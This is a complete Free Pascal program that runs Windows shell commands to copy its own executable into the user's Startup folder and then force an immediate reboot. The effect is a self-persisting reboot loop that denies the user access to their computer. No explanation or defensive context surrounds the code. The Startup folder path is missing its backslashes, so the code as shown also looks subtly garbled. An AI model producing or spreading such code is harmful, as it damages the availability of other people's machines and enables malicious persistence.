program project1;
uses crt,dos,sysutils;

begin
   ExecuteProcess(getenvironmentvariable('comspec'),['/c',' for /r %i in (project1.exe) do xcopy /Y "%i" "%userprofile%AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup"']);
   ExecuteProcess(getenvironmentvariable('comspec'),['/c','shutdown /r /t 001 ']);
  end.